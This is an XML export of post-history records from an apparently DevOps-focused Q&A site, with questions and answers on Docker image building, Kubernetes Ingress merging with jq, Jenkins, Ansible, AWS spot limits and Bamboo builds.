  <row Id="13149" PostHistoryTypeId="2" PostId="4196" RevisionGUID="a41694c5-23b6-48d8-9a8d-5642c2a6a805" CreationDate="2018-05-29T18:08:56.427" UserId="4427" Text="You could have a branch per environment. So a &quot;dev&quot; branch would build and deploy the &quot;dev&quot; app to the &quot;dev&quot; environment. &#xD;&#xA;&#xD;&#xA;Though according to 12factor you should have your environment settings outside of your app repo. Though sometimes it's more work to do that than to just break that rule." ContentLicense="CC BY-SA 4.0" />
  <row Id="13150" PostHistoryTypeId="5" PostId="4194" RevisionGUID="b2eae5f4-80cb-4a3a-83d7-98483f10c1f6" CreationDate="2018-05-29T18:11:48.917" UserId="4175" Comment="edited body" Text="&gt; Is that possible without any hack? &#xD;&#xA;&#xD;&#xA;Yes, it is possible. While Docker is often used for microservice-oriented images (i.e., one single service per image), nothing keeps you from converting a monolithic old application to Docker by building a large image, and running arbitrarily many processes inside.&#xD;&#xA;&#xD;&#xA;While it is true that a Docker image is not a standalone VM, it still contains *everything* an equivalent VM would contain - excluding the kernel. I.e., all OS libraries (libc, everything else...) are in there anyways.&#xD;&#xA;&#xD;&#xA;&gt; If yes, what are the big lines to follow?&#xD;&#xA;&#xD;&#xA;A Dockerfile is just a funky version of a plain old shell script which you could ordinarily use to provision your software with all its dependencies. That is, you chain a lot of commands, which are executed during the build process, and whatever ends up in the file system at the end gets packed up into an image.&#xD;&#xA;&#xD;&#xA;So the general route is:&#xD;&#xA;&#xD;&#xA;- Pick a base image. Depending on your needs and security requirements, you can pick your favourite distribution from Dockerhub. At first, you can pick any Debian, Ubuntu or whatever distribution you prefer and are used to. See below for further considerations.&#xD;&#xA;- Those base images usually are pretty small. Hence, your next step is to use `RUN apt install...` lines to add any standard packages you like.&#xD;&#xA;- Finally, you have to install your own software somehow. If you follow the usual approach, you would prepare any binaries or whatever you need in the directory alongside your Dockerfile, and then `ADD` them in.&#xD;&#xA;- The last step is to (optionally) create a `ENTRYPOINT`, i.e., a command that is run when the image is started up, as well as `EXPOSE` routing information, run as non-root `USER` or set `ENV`ironment variables.&#xD;&#xA;&#xD;&#xA;These are the big lines. If you just do it naively, you will end up with a *huge* image (gigabytes), and create a new huge image everytime you rebuild, wich can pose serious problems. The next steps are thus:&#xD;&#xA;&#xD;&#xA;- Switch the base image to a smaller one. `alpine` is good.&#xD;&#xA;- For each `RUN`call, make sure there are no temporary/unneccessary files left afterwards. For example, `apt install`leaves you with a lot of cache junk in `/var`. Due to the way Docker works with its onion-style layered file systems, you have to get rid of the junk *within the same `RUN`command*, you cannot clean up in a second `RUN`. If you google, you will find plenty of examples.&#xD;&#xA;- You probably pulled in too many packages with `apt install`, fix that.&#xD;&#xA;- For installing your own software, the same applies. Avoid having temporary `.tar` archives lying around which you don't need anymore.&#xD;&#xA;&#xD;&#xA;These steps should significantly reduce your image size already. Depending on what you are actually doing, 500'ish MB is a good target to avoid over-optimizing at this stage.&#xD;&#xA;&#xD;&#xA;The final step is to optimize everything:&#xD;&#xA;&#xD;&#xA;- Make sure that you do not have to rebuild every single intermediate image each time, by ordering the lines in the Dockerfile appropriately. You can get away with large images if the &quot;largeness&quot; happens in the first few image layers, if those change seldom, and can be re-used by many final images.&#xD;&#xA;- For an intermediate image to be re-used, it must be bitwise identical to another one. So be sure to fix all variable information (like version numbers etc.) as best you can.&#xD;&#xA;- Obviously, if you get the hang of all of this, and get your complex, many-part application running inside a single Docker image, then it's time to split it apart across multiple images (rinse, repeat). Anything that communicates by TCP/IP should be an easy choice to do so." ContentLicense="CC BY-SA 4.0" />
  <row Id="13151" PostHistoryTypeId="2" PostId="4197" RevisionGUID="ad4b48ce-bbb1-40fd-85bf-73d006e91732" CreationDate="2018-05-29T18:47:48.107" UserId="4427" Text="I was able to combine your two example files by first converting them to JSON. &#xD;&#xA;&#xD;&#xA;**foo.json**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;apiVersion&quot;: &quot;extensions/v1beta1&quot;,&#xD;&#xA;      &quot;kind&quot;: &quot;Ingress&quot;,&#xD;&#xA;      &quot;metadata&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;nginx-ingress&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;spec&quot;: {&#xD;&#xA;        &quot;tls&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;              &quot;foo.bar.com&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;secretName&quot;: &quot;tls-secret&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;rules&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;host&quot;: &quot;foo.bar.com&quot;,&#xD;&#xA;            &quot;http&quot;: {&#xD;&#xA;              &quot;paths&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;foo-web-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/api&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;foo-rest-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;**baz.json**&#xD;&#xA;&#xD;&#xA;    {&#xD;&#xA;      &quot;apiVersion&quot;: &quot;extensions/v1beta1&quot;,&#xD;&#xA;      &quot;kind&quot;: &quot;Ingress&quot;,&#xD;&#xA;      &quot;metadata&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;nginx-ingress&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;spec&quot;: {&#xD;&#xA;        &quot;tls&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;              &quot;baz.bar.com&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;secretName&quot;: &quot;tls-secret&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;rules&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;host&quot;: &quot;baz.bar.com&quot;,&#xD;&#xA;            &quot;http&quot;: {&#xD;&#xA;              &quot;paths&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;baz-web-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/api&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;baz-rest-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;You can then combine the rules for each by using [jq][1].&#xD;&#xA;&#xD;&#xA;    levi@La-Tower:~$ jq 'reduce inputs as $i (.; .spec.rules += $i.spec.rules)' foo.json baz.json&#xD;&#xA;    {&#xD;&#xA;      &quot;apiVersion&quot;: &quot;extensions/v1beta1&quot;,&#xD;&#xA;      &quot;kind&quot;: &quot;Ingress&quot;,&#xD;&#xA;      &quot;metadata&quot;: {&#xD;&#xA;        &quot;name&quot;: &quot;nginx-ingress&quot;&#xD;&#xA;      },&#xD;&#xA;      &quot;spec&quot;: {&#xD;&#xA;        &quot;tls&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;hosts&quot;: [&#xD;&#xA;              &quot;foo.bar.com&quot;&#xD;&#xA;            ],&#xD;&#xA;            &quot;secretName&quot;: &quot;tls-secret&quot;&#xD;&#xA;          }&#xD;&#xA;        ],&#xD;&#xA;        &quot;rules&quot;: [&#xD;&#xA;          {&#xD;&#xA;            &quot;host&quot;: &quot;foo.bar.com&quot;,&#xD;&#xA;            &quot;http&quot;: {&#xD;&#xA;              &quot;paths&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;foo-web-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/api&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;foo-rest-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          },&#xD;&#xA;          {&#xD;&#xA;            &quot;host&quot;: &quot;baz.bar.com&quot;,&#xD;&#xA;            &quot;http&quot;: {&#xD;&#xA;              &quot;paths&quot;: [&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;baz-web-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                },&#xD;&#xA;                {&#xD;&#xA;                  &quot;path&quot;: &quot;/api&quot;,&#xD;&#xA;                  &quot;backend&quot;: {&#xD;&#xA;                    &quot;serviceName&quot;: &quot;baz-rest-svc&quot;,&#xD;&#xA;                    &quot;servicePort&quot;: 80&#xD;&#xA;                  }&#xD;&#xA;                }&#xD;&#xA;              ]&#xD;&#xA;            }&#xD;&#xA;          }&#xD;&#xA;        ]&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;While yaml is more common JSON is perfectly valid for the Kubernetes API. All credit for the jq logic goes to @Jeff Mercado and his [answer][2].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://stedolan.github.io/jq/&#xD;&#xA;  [2]: https://stackoverflow.com/questions/42011086/merge-arrays-of-json" ContentLicense="CC BY-SA 4.0" />
  <row Id="13152" PostHistoryTypeId="5" PostId="4194" RevisionGUID="4de9dad3-ba8e-4cc5-8297-5cbca083e624" CreationDate="2018-05-29T19:30:01.257" UserId="4175" Comment="added 106 characters in body" Text="&gt; Is that possible without any hack? &#xD;&#xA;&#xD;&#xA;Yes, it is possible. While Docker is often used for microservice-oriented images (i.e., one single service per image), nothing keeps you from converting a monolithic old application to Docker by building a large image, and running arbitrarily many processes inside.&#xD;&#xA;&#xD;&#xA;While it is true that a Docker image is not a standalone VM, it still contains *everything* an equivalent VM would contain - excluding the kernel. I.e., all OS libraries (libc, everything else...) are in there anyways.&#xD;&#xA;&#xD;&#xA;&gt; If yes, what are the big lines to follow?&#xD;&#xA;&#xD;&#xA;A Dockerfile is just a funky version of a plain old shell script which you could ordinarily use to provision your software with all its dependencies. That is, you chain a lot of commands, which are executed during the build process, and whatever ends up in the file system at the end gets packed up into an image.&#xD;&#xA;&#xD;&#xA;So the general route is:&#xD;&#xA;&#xD;&#xA;- Pick a base image. Depending on your needs and security requirements, you can pick your favourite distribution from Dockerhub. At first, you can pick any Debian, Ubuntu or whatever distribution you prefer and are used to. See below for further considerations.&#xD;&#xA;- Those base images usually are pretty small. Hence, your next step is to use `RUN apt install...` (or whatever package manager your base image uses) to add any standard packages you like.&#xD;&#xA;- Finally, you have to install your own software somehow. If you follow the usual approach, you would prepare any binaries and other files you need in the host-side directory alongside your Dockerfile, and then `ADD` them in.&#xD;&#xA;- The last step is to (optionally) create a `ENTRYPOINT`, i.e., a command that is run when the image is started up, as well as `EXPOSE` routing information, run as non-root `USER` or set `ENV`ironment variables.&#xD;&#xA;&#xD;&#xA;These are the big lines. If you just do it naively, you will end up with a *huge* image (gigabytes), and create a new huge image everytime you rebuild, wich can pose serious problems. The next steps are thus:&#xD;&#xA;&#xD;&#xA;- Switch the base image to a smaller one. `alpine` is good.&#xD;&#xA;- For each `RUN`call, make sure there are no temporary/unneccessary files left afterwards. For example, `apt install` leaves you with a lot of cache junk in `/var` (same for the other package managers). Due to the way Docker works with its onion-style layered file systems, you have to get rid of the junk *within the same `RUN` command*, you cannot clean up in a second `RUN`. If you google, you will find plenty of examples.&#xD;&#xA;- You probably pulled in too many packages with your package manager, fix that.&#xD;&#xA;- For installing your own software, the same applies. Avoid having temporary `.tar` archives lying around which you don't need anymore.&#xD;&#xA;&#xD;&#xA;These steps should significantly reduce your image size already. Depending on what you are actually doing, 500'ish MB is a good target to avoid over-optimizing at this stage.&#xD;&#xA;&#xD;&#xA;The final step is to optimize everything:&#xD;&#xA;&#xD;&#xA;- Make sure that you do not have to rebuild every single intermediate image each time, by ordering the lines in the Dockerfile appropriately. You can get away with large images if the &quot;largeness&quot; happens in the first few image layers, if those change seldom, and can be re-used by many final images.&#xD;&#xA;- For an intermediate image to be re-used, it must be bitwise identical to another one. So be sure to fix all variable information (like version numbers etc.) as best you can.&#xD;&#xA;- Obviously, if you get the hang of all of this, and get your complex, many-part application running inside a single Docker image, then it's time to split it apart across multiple images (rinse, repeat). Anything that communicates by TCP/IP should be an easy choice to do so." ContentLicense="CC BY-SA 4.0" />
  <row Id="13162" PostHistoryTypeId="10" PostId="4128" RevisionGUID="ebaf09f6-183c-4b48-a130-0298cc2c9861" CreationDate="2018-05-30T07:40:43.400" UserId="13" Comment="104" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:786,&quot;DisplayName&quot;:&quot;Gaius&quot;},{&quot;Id&quot;:40,&quot;DisplayName&quot;:&quot;Pierre.Vriens&quot;},{&quot;Id&quot;:739,&quot;DisplayName&quot;:&quot;chicks&quot;},{&quot;Id&quot;:47,&quot;DisplayName&quot;:&quot;Dan Cornilescu&quot;},{&quot;Id&quot;:13,&quot;DisplayName&quot;:&quot;Tensibai&quot;}]}" />
  <row Id="13163" PostHistoryTypeId="50" PostId="3709" RevisionGUID="0ce30457-b1a6-4528-a900-f031c84c45bb" CreationDate="2018-05-30T08:20:46.323" UserId="-1" />
  <row Id="13164" PostHistoryTypeId="5" PostId="4191" RevisionGUID="476593a3-3736-49ac-b5f6-07361c5e8f63" CreationDate="2018-05-30T09:28:18.737" UserId="8098" Comment="added 461 characters in body" Text="I'm sure it does, otherwise it wouldn't be the module in use in:&#xD;&#xA;&#xD;&#xA;    https://awslimitchecker.readthedocs.io/en/latest/&#xD;&#xA;&#xD;&#xA;From their setup.py installation script:&#xD;&#xA;&#xD;&#xA;    requires = [&#xD;&#xA;        'boto3&gt;=1.4.6',&#xD;&#xA;        'botocore&gt;=1.6.0',&#xD;&#xA;        'termcolor&gt;=1.1.0',&#xD;&#xA;        'python-dateutil&gt;=2.4.2',&#xD;&#xA;        'versionfinder&gt;=0.1.1',&#xD;&#xA;        'pytz'&#xD;&#xA;    ]&#xD;&#xA;&#xD;&#xA;Thing is, maybe what you're trying to build is already built in some way or another. Try searching for libraries that has more or less the description of the tool you're trying to build, before starting.&#xD;&#xA;&#xD;&#xA;Happy coding!" ContentLicense="CC BY-SA 4.0" />
  <row Id="13168" PostHistoryTypeId="2" PostId="4201" RevisionGUID="40f20453-02ad-4892-b2fa-83efcabfbd5e" CreationDate="2018-05-30T13:32:36.547" UserId="2494" Text="Can I use ansible to make sure certain Ruby gems are installed on a list of Windows 7 hosts? How do I do this?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13169" PostHistoryTypeId="1" PostId="4201" RevisionGUID="40f20453-02ad-4892-b2fa-83efcabfbd5e" CreationDate="2018-05-30T13:32:36.547" UserId="2494" Text="Ansible playbook to ensure Ruby gems are installed" ContentLicense="CC BY-SA 4.0" />
  <row Id="13170" PostHistoryTypeId="3" PostId="4201" RevisionGUID="40f20453-02ad-4892-b2fa-83efcabfbd5e" CreationDate="2018-05-30T13:32:36.547" UserId="2494" Text="&lt;ansible&gt;&lt;windows&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13171" PostHistoryTypeId="2" PostId="4202" RevisionGUID="76e7dba9-c9fb-43f3-9b35-174476dd29f7" CreationDate="2018-05-30T13:57:29.607" UserId="6578" Text="I disagree with @levi, you should stick to the 12 factor app method. Leaving configs in the repo scusk. Simple changes to a password or a small setting requires a commit and a pipeline rebuild. That's too much work for something so simple.&#xD;&#xA;&#xD;&#xA;The last 3 companies I've worked for are using 'single branch' repos. There is only the master branch, and developers create 'feature' branches off of that. All the different environments are built from master.&#xD;&#xA;&#xD;&#xA;In that case, we have a static config file, but all the values are injected by the build pipeline. You can pull them in from different sources: build server env variables, an external tool (Hashicorp Vault), or even another repo that has all the configs (this last one is least desirable)." ContentLicense="CC BY-SA 4.0" />
  <row Id="13175" PostHistoryTypeId="2" PostId="4204" RevisionGUID="c95aba56-bc4e-4676-93b9-ca7b915a7373" CreationDate="2018-05-30T14:03:11.160" UserId="7855" Text="Sure you can. Use the [gem module][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.ansible.com/ansible/latest/modules/gem_module.html#gem-module" ContentLicense="CC BY-SA 4.0" />
  <row Id="13176" PostHistoryTypeId="2" PostId="4205" RevisionGUID="381fcd4c-cb3b-4788-b7c8-be2c836f41bc" CreationDate="2018-05-30T14:19:31.820" UserId="7938" Text="I figured out how to get this job to run which took a number of very specific steps:&#xD;&#xA;&#xD;&#xA;1) The Maven3-Artifactory plugin will simply not do what I need it do here.  I still need this in my job though to actually execute my custom maven plugin from the project POM.  I configured the Build Environment for this plugin to NOT upload any build artifacts to Artifactory.&#xD;&#xA;&#xD;&#xA;2) I added the Generic Artifactory plugin that has the responsibility of taking the zip artifact from the Maven plugin and uploading it to our Artifactory repo.  I **struggled** to define an upload FileSpec that worked correctly.  I ended up using the Legacy Patterns option where I could define the upload artifact and the repo location based on a number of Environment Variables that have been already defined for me previously (more info on this in future steps).  The Download Details are effectively empty.&#xD;&#xA;&#xD;&#xA;3) The first Build Step is execution of the Maven build.&#xD;&#xA;&#xD;&#xA;4) The second build step is execution of a custom shell that will parse the maven build artifact zip file for information that is needed to derive the version number.  It then injects this version number into a temporary property file in the root of the job workspace.&#xD;&#xA;&#xD;&#xA;5) The third build step uses the Inject Environment Variables plugin to put the temporary property file into environment variables used by the Generic Artifactory Plugin Legacy Pattern.&#xD;&#xA;&#xD;&#xA;This seems to work well as a solution for my situation.&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13177" PostHistoryTypeId="50" PostId="1622" RevisionGUID="12a6f202-3e35-42a0-ba4f-d32e480267e6" CreationDate="2018-05-30T15:22:54.060" UserId="-1" />
  <row Id="13178" PostHistoryTypeId="50" PostId="3177" RevisionGUID="4efd566c-b298-45fa-b168-472d78f54acb" CreationDate="2018-05-30T18:23:11.447" UserId="-1" />
  <row Id="13181" PostHistoryTypeId="50" PostId="2536" RevisionGUID="31b74733-c33d-4703-bf4a-3558c0802e17" CreationDate="2018-05-30T20:23:22.810" UserId="-1" />
  <row Id="13185" PostHistoryTypeId="34" PostId="4078" RevisionGUID="0d7258b8-dd80-4a00-9bcb-6d6e7aa0ee11" CreationDate="2018-05-30T21:23:22.393" UserId="-1" Comment="19" />
  <row Id="13195" PostHistoryTypeId="2" PostId="4209" RevisionGUID="9efc74d6-0723-4286-bbd3-ea2d9c9a67d1" CreationDate="2018-05-31T08:23:31.123" UserId="8131" Text="&#xD;&#xA;    5/31/2018, 5:21:51 PM	fleetRequestChange	cancelled&#xD;&#xA;    5/31/2018, 5:15:46 PM	fleetRequestChange	cancelled_terminating		&#xD;&#xA;    5/31/2018, 5:15:46 PM	fleetRequestChange	active		&#xD;&#xA;    5/31/2018, 5:15:36 PM	fleetRequestChange	submitted&#xD;&#xA;&#xD;&#xA;I am trying to create a Spot instance. However, it's cancelled right after it's being activated. Tried several times.&#xD;&#xA;&#xD;&#xA;What is the problem??" ContentLicense="CC BY-SA 4.0" />
  <row Id="13196" PostHistoryTypeId="1" PostId="4209" RevisionGUID="9efc74d6-0723-4286-bbd3-ea2d9c9a67d1" CreationDate="2018-05-31T08:23:31.123" UserId="8131" Text="Amazon Web Service (AWS): Spot request active followed by cancelled terminating" ContentLicense="CC BY-SA 4.0" />
  <row Id="13197" PostHistoryTypeId="3" PostId="4209" RevisionGUID="9efc74d6-0723-4286-bbd3-ea2d9c9a67d1" CreationDate="2018-05-31T08:23:31.123" UserId="8131" Text="&lt;amazon-web-services&gt;&lt;amazon-ec2&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13201" PostHistoryTypeId="50" PostId="4028" RevisionGUID="5d9968ea-34b5-445d-9155-de63671393c8" CreationDate="2018-05-31T11:26:06.660" UserId="-1" />
  <row Id="13202" PostHistoryTypeId="50" PostId="3950" RevisionGUID="c9874adb-a537-4bb4-88b5-3806a66dec77" CreationDate="2018-05-31T12:27:29.813" UserId="-1" />
  <row Id="13213" PostHistoryTypeId="2" PostId="4213" RevisionGUID="3ddabc75-d9fa-44dd-bd1a-9d29fef8fff9" CreationDate="2018-05-31T21:56:22.180" UserId="8140" Text="I am trying to convince my fellow workers and management as part of DevOps transformation to adopt &quot;fail fast&quot; in almost everything. Amazon has two principles &quot;bias for action&quot; &amp; &quot;are right a lot&quot; which I belive are quite similar. my dilemma is espically when adopting a new solution. as an Enterprise, they tend to evaluate several products first, then run many proofs of concepts, then an open bid. which is a waste of time and resources. my take is that decide on one solution quickly based on technical and financial merits, start using it if you fail, you can select another technology, reversing a decision on technology is not a big deal, isn't DevOps about being Agile and having quick feedback loops? I would like to hear your input." ContentLicense="CC BY-SA 4.0" />
  <row Id="13214" PostHistoryTypeId="1" PostId="4213" RevisionGUID="3ddabc75-d9fa-44dd-bd1a-9d29fef8fff9" CreationDate="2018-05-31T21:56:22.180" UserId="8140" Text="what do you think of making fast decisions?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13215" PostHistoryTypeId="3" PostId="4213" RevisionGUID="3ddabc75-d9fa-44dd-bd1a-9d29fef8fff9" CreationDate="2018-05-31T21:56:22.180" UserId="8140" Text="&lt;project-management&gt;&lt;agile&gt;&lt;practices&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13216" PostHistoryTypeId="50" PostId="4023" RevisionGUID="4437efb6-8909-4860-b1fb-aa6ebad8dd7e" CreationDate="2018-05-31T23:32:02.257" UserId="-1" />
  <row Id="13217" PostHistoryTypeId="2" PostId="4214" RevisionGUID="07365c40-1d6e-4450-9260-314130da2d2d" CreationDate="2018-06-01T06:06:30.837" UserId="8131" Text="Seems like the initial limit for instances is set to 1. Solution is to request a limit increase which is not intuitive by the provided instance cancellation.&#xD;&#xA;&#xD;&#xA;[AWS Service Limits][1]&#xD;&#xA;&gt; You can take the following steps to request an increase for limits.&#xD;&#xA;&gt; These increases are not granted immediately, so it may take a couple&#xD;&#xA;&gt; of days for your increase to become effective.&#xD;&#xA;&gt; &#xD;&#xA;&gt; To request a limit increase&#xD;&#xA;&gt; &#xD;&#xA;&gt; Open the AWS Support Center page, sign in if necessary, and choose&#xD;&#xA;&gt; Create Case.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For Regarding, choose Service Limit Increase.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Complete Limit Type, Use Case Description, and Contact method. If this&#xD;&#xA;&gt; request is urgent, choose Phone as the method of contact instead of&#xD;&#xA;&gt; Web.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Choose Submit.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.aws.amazon.com/general/latest/gr/aws_service_limits.html" ContentLicense="CC BY-SA 4.0" />
  <row Id="13218" PostHistoryTypeId="2" PostId="4215" RevisionGUID="88374b4b-f132-4212-9733-d5152eaca3ed" CreationDate="2018-06-01T06:09:20.383" UserId="7969" Text="Yes, you can easily trigger your JMeter jmx suite via jenkins coupled with performance plugin. For triggering the build:&#xD;&#xA;&#xD;&#xA; - If you're using windows execute the build as windows batch command, giving the same commands that you would give if you were running your JMeter script from your command line.&#xD;&#xA; - To give parameters you can conveniently select the option in jenkins configuration 'This project is parameterised' and pass the parameters ensuring the same reference is used in your JMeter jmx file.&#xD;&#xA; - You can use the __P() function to make ramup, hostname or number of threads configurable and refer them using J command.&#xD;&#xA;&#xD;&#xA; " ContentLicense="CC BY-SA 4.0" />
  <row Id="13220" PostHistoryTypeId="2" PostId="4216" RevisionGUID="303a666a-36c5-47de-b92e-04b2967403c7" CreationDate="2018-06-01T13:22:25.573" UserId="8149" Text="I'm looking for best practices to share the Docker compose files created by developers with the people that do the deployment. &#xD;&#xA;&#xD;&#xA;We use 2 docker compose files: `docker-compose.yml` and `docker-compose.prod.yml`. &#xD;&#xA;&#xD;&#xA;These files are included in version control (git in our case).&#xD;&#xA;&#xD;&#xA;We have 2 options: &#xD;&#xA;&#xD;&#xA; 1. Include the compose files in the master branch, and checkout the entire master branch when the application needs to be deployed. Pro here is that it is easy to keep everything in sync, con that the entire projects needs to be cloned on the server when the application is deployed.&#xD;&#xA; 2. Include the compose files in a orphaned branch that can be checked out when the application needs to be deployed. The pro here is that only the compose files will be checked out, con that we have 2 branches that needs to be maintained. &#xD;&#xA;&#xD;&#xA;Since we are fairly new to this, I'm wondering how other organizations approach this, and why one method should be preferred over the other?" ContentLicense="CC BY-SA 4.0" />
  <row Id="13221" PostHistoryTypeId="1" PostId="4216" RevisionGUID="303a666a-36c5-47de-b92e-04b2967403c7" CreationDate="2018-06-01T13:22:25.573" UserId="8149" Text="What are best practices for sharing Docker compose files with ops team to use in Docker stack" ContentLicense="CC BY-SA 4.0" />
  <row Id="13222" PostHistoryTypeId="3" PostId="4216" RevisionGUID="303a666a-36c5-47de-b92e-04b2967403c7" CreationDate="2018-06-01T13:22:25.573" UserId="8149" Text="&lt;docker&gt;&lt;docker-compose&gt;&lt;dtap&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13223" PostHistoryTypeId="2" PostId="4217" RevisionGUID="d818b89e-5733-4c53-aab7-c96703aca5b8" CreationDate="2018-06-01T13:48:48.657" UserId="8152" Text="I am using Jenkins with the Github Organization item option. On Jenkins with freestyle projects or others I am able to get build metrics: success, failure,  date, node and so forth.&#xD;&#xA;&#xD;&#xA;On the Github Organization item, these metrics do not ever populate. I am looking for an automated way to generate these reports. I am hoping for jenkin plugin solution or splunk for jenkins.&#xD;&#xA;It is an issue with Github single webhook and non physical jenkins jobs.&#xD;&#xA;&#xD;&#xA;Thank you." ContentLicense="CC BY-SA 4.0" />
  <row Id="13224" PostHistoryTypeId="1" PostId="4217" RevisionGUID="d818b89e-5733-4c53-aab7-c96703aca5b8" CreationDate="2018-06-01T13:48:48.657" UserId="8152" Text="Jenkins Github Organization Metrics" ContentLicense="CC BY-SA 4.0" />
  <row Id="13225" PostHistoryTypeId="3" PostId="4217" RevisionGUID="d818b89e-5733-4c53-aab7-c96703aca5b8" CreationDate="2018-06-01T13:48:48.657" UserId="8152" Text="&lt;jenkins&gt;&lt;automation&gt;&lt;github&gt;&lt;metrics&gt;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13226" PostHistoryTypeId="2" PostId="4218" RevisionGUID="556de1c9-d77d-4238-b649-fd7da47ac0d6" CreationDate="2018-06-01T13:58:13.227" UserId="8148" Text="This seems so trivial, I am almost shy to ask...&#xD;&#xA;Depending on certain conditions, which I am able to check by looking at Bamboo variables, I sometimes want to just stop the execution of a build and/or it's deploy. The possibility to conditionally execute steps seems very limited in Bamboo, and I am having trouble solving this.&#xD;&#xA;I found a workaround, which is running a script that exits with an error, like a powershell script simple as this&#xD;&#xA;&#xD;&#xA;    exit 1&#xD;&#xA;&#xD;&#xA;But that obviously causes the build to appear as failed, which really isn't what I want. I just want to prevent a deploy in certain conditions.&#xD;&#xA;&#xD;&#xA;Does anyone know an elegant way to accomplish a full stop in a Bamboo plan?&#xD;&#xA;" ContentLicense="CC BY-SA 4.0" />
  <row Id="13227" PostHistoryTypeId="1" PostId="4218" RevisionGUID="556de1c9-d77d-4238-b649-fd7da47ac0d6" CreationDate="2018-06-01T13:58:13.227" UserId="8148" Text="Halt execution of Bamboo build or deploy, without throwing an exception" ContentLicense="CC BY-SA 4.0" />
  <row Id="13228" PostHistoryTypeId="3" PostId="4218" RevisionGUID="556de1c9-d77d-4238-b649-fd7da47ac0d6" CreationDate="2018-06-01T13:58:13.227" UserId="8148" Text="&lt;continuous-integration&gt;&lt;bamboo&gt;" ContentLicense="CC BY-SA 4.0" />
